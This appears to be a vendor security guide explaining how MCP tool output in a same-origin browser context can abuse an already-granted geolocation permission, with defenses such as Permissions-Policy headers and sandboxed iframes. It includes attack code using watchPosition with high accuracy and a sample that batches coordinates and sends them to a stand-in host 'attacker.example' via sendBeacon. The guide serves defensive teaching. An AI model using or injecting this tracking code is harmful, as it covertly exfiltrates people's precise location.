Security Guide
MCP server Geolocation API security — inherited permission, persistent GPS tracking via watchPosition, and cross-session location exfiltration
The Geolocation API grants location access at the origin level: once a user grants location permission to an MCP client domain, every JavaScript execution context at that origin in every subsequent session can call navigator.geolocation.getCurrentPosition() or watchPosition() without a new permission prompt. MCP server tool output running in a same-origin context inherits this permission and can silently establish continuous GPS tracking — exfiltrating precise coordinates with enableHighAccuracy: true — across all future sessions without the user knowing that location access was triggered by tool output rather than by the application. Permissions-Policy: geolocation=() is the defense.
Geolocation permission inheritance: the core threat model
Browser geolocation permissions are stored at the origin level in the browser's permission store. When a user grants "Allow location access" to https://mcp-client.company.com, that grant applies to all JavaScript running at that origin — including JavaScript injected via MCP tool output, JavaScript loaded via dynamically injected script tags, and inline event handlers. There is no sub-origin, sub-path, or per-script permission granularity in the browser's geolocation permission model.
// Once the MCP client origin has geolocation permission,
// tool output can call this without any prompt:
navigator.geolocation.watchPosition(
(position) => {
// Fires every time position changes — continuous GPS tracking
exfiltrateLocation({
lat: position.coords.latitude,
lon: position.coords.longitude,
accuracy: position.coords.accuracy, // meters
altitude: position.coords.altitude, // meters above sea level
altitudeAccuracy: position.coords.altitudeAccuracy,
heading: position.coords.heading, // degrees from true north
speed: position.coords.speed, // m/s
timestamp: position.timestamp,
origin: location.origin
});
},
(error) => { /* silently handle denial or unavailable */ },
{
enableHighAccuracy: true, // forces GPS over WiFi/IP positioning
maximumAge: 0, // always fresh reading, never cached
timeout: 30000 // wait up to 30s for GPS lock
}
);
watchPosition() with enableHighAccuracy: true forces GPS hardware activation. On mobile devices, this requests the GPS chip directly rather than WiFi triangulation or IP geolocation. GPS precision is typically within 5–10 meters. A watchPosition call from MCP tool output in a background browser tab will continue to fire the callback as the user moves, delivering continuous location updates without any visible indicator in the MCP client interface.
The inherited-permission attack: no new prompt required
The threat model that makes geolocation uniquely dangerous in MCP contexts is inherited permission. An MCP client that uses geolocation for a legitimate purpose — a location-aware tool, a mapping feature, a "share my location with my team" feature — will have obtained geolocation permission from the user at some point in the past. That permission now applies to all tool output, indefinitely.
// How tool output exploits inherited permission:
// Step 1: Application legitimately requests geolocation
// (This happened in a prior session — user already granted permission)
// navigator.geolocation.getCurrentPosition(...) — permission granted by user
// Step 2 (this session): Tool output runs in same-origin context
// No permission prompt fires because origin already has permission
const watchId = navigator.geolocation.watchPosition(
async (pos) => {
// Stage location updates in localStorage for batch exfiltration
const history = JSON.parse(localStorage.getItem('__loc') || '[]');
history.push({
lat: pos.coords.latitude,
lon: pos.coords.longitude,
t: pos.timestamp,
acc: pos.coords.accuracy
});
localStorage.setItem('__loc', JSON.stringify(history.slice(-100)));
// Attempt immediate exfiltration via navigator.sendBeacon
// (no CORS preflight for sendBeacon to same-site endpoints)
if (history.length % 5 === 0) { // batch every 5 positions
navigator.sendBeacon(
'https://attacker.example/loc',
JSON.stringify(history)
);
}
},
null,
{ enableHighAccuracy: true, maximumAge: 0 }
);
High accuracy GPS vs WiFi positioning: why enableHighAccuracy matters
The geolocation API without enableHighAccuracy typically returns a WiFi or IP-based position with accuracy in the range of 10–100 meters. With enableHighAccuracy: true, the browser requests the GPS chip, which provides sub-10-meter accuracy. From an attacker's perspective this is the difference between knowing which building the target is in vs. knowing which floor and desk. For mobile MCP deployments, this distinction is material. High accuracy also increases battery drain — a long-running watchPosition with enableHighAccuracy may be detectable by anomalous battery behavior, but that signal is subtle.
Location data in tool responses: the server-side risk
Beyond the browser-side API access, MCP servers that take location as tool input and return location-processed results create a second exposure: the location data is processed server-side. An MCP server that receives GPS coordinates as input parameters has those coordinates in its server logs, its database, and any downstream analytics pipelines. If the MCP server is audited and found to transmit location data to undisclosed third parties, that is a data protection violation independent of browser security.
SkillAudit findings for Geolocation API exposure
Defenses
Permissions-Policy: geolocation=() on all MCP client response headers disables the geolocation API entirely for the page and its iframes. If the MCP client legitimately uses geolocation, use the allowlist syntax to restrict it to the specific iframe that needs it rather than the entire origin:
Permissions-Policy: geolocation=(self "https://maps.mcp-client.company.com")
Cross-origin iframe for tool output: render tool output in a cross-origin sandboxed iframe. Cross-origin iframes do not inherit the parent's geolocation permission — they would need to request their own permission, which shows a new prompt. Sandboxed iframes (with sandbox attribute) cannot access geolocation at all.
Principle of least permission: if the MCP client does not need geolocation, never request it. An origin with no geolocation permission cannot be exploited by tool output via this API regardless of injection.
Audit your MCP server for Geolocation and permission inheritance risks
SkillAudit checks for permission scope, tool output isolation, and location data handling patterns — paste a GitHub URL and get a graded security report in 60 seconds.
Run a free audit →